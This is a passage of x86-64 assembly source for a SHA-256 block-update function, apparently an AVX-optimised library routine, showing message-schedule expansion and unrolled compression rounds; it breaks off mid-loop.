.globl e9_UpdateSHA256
.type e9_UpdateSHA256, @function
e9_UpdateSHA256:
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
sub $(40), %rsp
movslq %edx, %rdx
movq %rdx, (16)(%rsp)
mov %rcx, %rbp
.p2align 5, 0x90
.Lsha256_block_loopgas_1:
vmovdqu (%rsi), %xmm0
vpshufb SHUFB_BSWAP(%rip), %xmm0, %xmm0
vmovdqu (16)(%rsi), %xmm1
vpshufb SHUFB_BSWAP(%rip), %xmm1, %xmm1
vmovdqu (32)(%rsi), %xmm2
vpshufb SHUFB_BSWAP(%rip), %xmm2, %xmm2
vmovdqu (48)(%rsi), %xmm3
vpshufb SHUFB_BSWAP(%rip), %xmm3, %xmm3
movl (%rdi), %eax
movl (4)(%rdi), %ebx
movl (8)(%rdi), %ecx
movl (12)(%rdi), %edx
movl (16)(%rdi), %r8d
movl (20)(%rdi), %r9d
movl (24)(%rdi), %r10d
movl (28)(%rdi), %r11d
vpaddd (%rbp), %xmm0, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpaddd %xmm7, %xmm0, %xmm0
vpaddd %xmm4, %xmm0, %xmm0
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (16)(%rbp), %xmm1, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpaddd %xmm7, %xmm1, %xmm1
vpaddd %xmm4, %xmm1, %xmm1
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (32)(%rbp), %xmm2, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpaddd %xmm7, %xmm2, %xmm2
vpaddd %xmm4, %xmm2, %xmm2
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (48)(%rbp), %xmm3, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpaddd %xmm7, %xmm3, %xmm3
vpaddd %xmm4, %xmm3, %xmm3
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm3, %xmm3
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (64)(%rbp), %xmm0, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpaddd %xmm7, %xmm0, %xmm0
vpaddd %xmm4, %xmm0, %xmm0
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm3, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm0, %xmm0
addl (12)(%rsp), %r8d
mov %ebx, %r12d
shrd $(14), %r12d, %r12d
xor %ebx, %r12d
shrd $(5), %r12d, %r12d
xor %ebx, %r12d
shrd $(6), %r12d, %r12d
mov %ecx, %r13d
xor %edx, %r13d
and %ebx, %r13d
xor %edx, %r13d
add %r12d, %r8d
add %r13d, %r8d
add %r8d, %eax
mov %r9d, %r12d
shrd $(9), %r12d, %r12d
xor %r9d, %r12d
shrd $(11), %r12d, %r12d
xor %r9d, %r12d
shrd $(2), %r12d, %r12d
mov %r9d, %r13d
xor %r11d, %r13d
xor %r11d, %r10d
and %r10d, %r13d
xor %r11d, %r10d
xor %r11d, %r13d
add %r12d, %r8d
add %r13d, %r8d
vpaddd (80)(%rbp), %xmm1, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm1, %xmm2, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %edx
mov %eax, %r12d
shrd $(14), %r12d, %r12d
xor %eax, %r12d
shrd $(5), %r12d, %r12d
xor %eax, %r12d
shrd $(6), %r12d, %r12d
mov %ebx, %r13d
xor %ecx, %r13d
and %eax, %r13d
xor %ecx, %r13d
add %r12d, %edx
add %r13d, %edx
add %edx, %r11d
mov %r8d, %r12d
shrd $(9), %r12d, %r12d
xor %r8d, %r12d
shrd $(11), %r12d, %r12d
xor %r8d, %r12d
shrd $(2), %r12d, %r12d
mov %r8d, %r13d
xor %r10d, %r13d
xor %r10d, %r9d
and %r9d, %r13d
xor %r10d, %r9d
xor %r10d, %r13d
add %r12d, %edx
add %r13d, %edx
vpalignr $(4), %xmm3, %xmm0, %xmm7
vpaddd %xmm7, %xmm1, %xmm1
vpaddd %xmm4, %xmm1, %xmm1
addl (4)(%rsp), %ecx
mov %r11d, %r12d
shrd $(14), %r12d, %r12d
xor %r11d, %r12d
shrd $(5), %r12d, %r12d
xor %r11d, %r12d
shrd $(6), %r12d, %r12d
mov %eax, %r13d
xor %ebx, %r13d
and %r11d, %r13d
xor %ebx, %r13d
add %r12d, %ecx
add %r13d, %ecx
add %ecx, %r10d
mov %edx, %r12d
shrd $(9), %r12d, %r12d
xor %edx, %r12d
shrd $(11), %r12d, %r12d
xor %edx, %r12d
shrd $(2), %r12d, %r12d
mov %edx, %r13d
xor %r9d, %r13d
xor %r9d, %r8d
and %r8d, %r13d
xor %r9d, %r8d
xor %r9d, %r13d
add %r12d, %ecx
add %r13d, %ecx
vpshufd $(250), %xmm0, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (8)(%rsp), %ebx
mov %r10d, %r12d
shrd $(14), %r12d, %r12d
xor %r10d, %r12d
shrd $(5), %r12d, %r12d
xor %r10d, %r12d
shrd $(6), %r12d, %r12d
mov %r11d, %r13d
xor %eax, %r13d
and %r10d, %r13d
xor %eax, %r13d
add %r12d, %ebx
add %r13d, %ebx
add %ebx, %r9d
mov %ecx, %r12d
shrd $(9), %r12d, %r12d
xor %ecx, %r12d
shrd $(11), %r12d, %r12d
xor %ecx, %r12d
shrd $(2), %r12d, %r12d
mov %ecx, %r13d
xor %r8d, %r13d
xor %r8d, %edx
and %edx, %r13d
xor %r8d, %edx
xor %r8d, %r13d
add %r12d, %ebx
add %r13d, %ebx
vpshufd $(80), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_32ZZ(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm1, %xmm1
addl (12)(%rsp), %eax
mov %r9d, %r12d
shrd $(14), %r12d, %r12d
xor %r9d, %r12d
shrd $(5), %r12d, %r12d
xor %r9d, %r12d
shrd $(6), %r12d, %r12d
mov %r10d, %r13d
xor %r11d, %r13d
and %r9d, %r13d
xor %r11d, %r13d
add %r12d, %eax
add %r13d, %eax
add %eax, %r8d
mov %ebx, %r12d
shrd $(9), %r12d, %r12d
xor %ebx, %r12d
shrd $(11), %r12d, %r12d
xor %ebx, %r12d
shrd $(2), %r12d, %r12d
mov %ebx, %r13d
xor %edx, %r13d
xor %edx, %ecx
and %ecx, %r13d
xor %edx, %ecx
xor %edx, %r13d
add %r12d, %eax
add %r13d, %eax
vpaddd (96)(%rbp), %xmm2, %xmm7
vmovdqa %xmm7, (%rsp)
vpalignr $(4), %xmm2, %xmm3, %xmm7
vpsrld $(3), %xmm7, %xmm4
vpsrld $(7), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpsrld $(18), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(14), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
vpslld $(25), %xmm7, %xmm6
vpxor %xmm6, %xmm4, %xmm4
addl (%rsp), %r11d
mov %r8d, %r12d
shrd $(14), %r12d, %r12d
xor %r8d, %r12d
shrd $(5), %r12d, %r12d
xor %r8d, %r12d
shrd $(6), %r12d, %r12d
mov %r9d, %r13d
xor %r10d, %r13d
and %r8d, %r13d
xor %r10d, %r13d
add %r12d, %r11d
add %r13d, %r11d
add %r11d, %edx
mov %eax, %r12d
shrd $(9), %r12d, %r12d
xor %eax, %r12d
shrd $(11), %r12d, %r12d
xor %eax, %r12d
shrd $(2), %r12d, %r12d
mov %eax, %r13d
xor %ecx, %r13d
xor %ecx, %ebx
and %ebx, %r13d
xor %ecx, %ebx
xor %ecx, %r13d
add %r12d, %r11d
add %r13d, %r11d
vpalignr $(4), %xmm0, %xmm1, %xmm7
vpaddd %xmm7, %xmm2, %xmm2
vpaddd %xmm4, %xmm2, %xmm2
addl (4)(%rsp), %r10d
mov %edx, %r12d
shrd $(14), %r12d, %r12d
xor %edx, %r12d
shrd $(5), %r12d, %r12d
xor %edx, %r12d
shrd $(6), %r12d, %r12d
mov %r8d, %r13d
xor %r9d, %r13d
and %edx, %r13d
xor %r9d, %r13d
add %r12d, %r10d
add %r13d, %r10d
add %r10d, %ecx
mov %r11d, %r12d
shrd $(9), %r12d, %r12d
xor %r11d, %r12d
shrd $(11), %r12d, %r12d
xor %r11d, %r12d
shrd $(2), %r12d, %r12d
mov %r11d, %r13d
xor %ebx, %r13d
xor %ebx, %eax
and %eax, %r13d
xor %ebx, %eax
xor %ebx, %r13d
add %r12d, %r10d
add %r13d, %r10d
vpshufd $(250), %xmm1, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
vpxor %xmm7, %xmm4, %xmm4
vpshufb SHUFD_ZZ10(%rip), %xmm4, %xmm4
vpaddd %xmm4, %xmm2, %xmm2
addl (8)(%rsp), %r9d
mov %ecx, %r12d
shrd $(14), %r12d, %r12d
xor %ecx, %r12d
shrd $(5), %r12d, %r12d
xor %ecx, %r12d
shrd $(6), %r12d, %r12d
mov %edx, %r13d
xor %r8d, %r13d
and %ecx, %r13d
xor %r8d, %r13d
add %r12d, %r9d
add %r13d, %r9d
add %r9d, %ebx
mov %r10d, %r12d
shrd $(9), %r12d, %r12d
xor %r10d, %r12d
shrd $(11), %r12d, %r12d
xor %r10d, %r12d
shrd $(2), %r12d, %r12d
mov %r10d, %r13d
xor %eax, %r13d
xor %eax, %r11d
and %r11d, %r13d
xor %eax, %r11d
xor %eax, %r13d
add %r12d, %r9d
add %r13d, %r9d
vpshufd $(80), %xmm2, %xmm7
vpsrld $(10), %xmm7, %xmm4
vpsrlq $(17), %xmm7, %xmm6
vpsrlq $(19), %xmm7, %xmm7
vpxor %xmm6, %xmm4, %xmm4
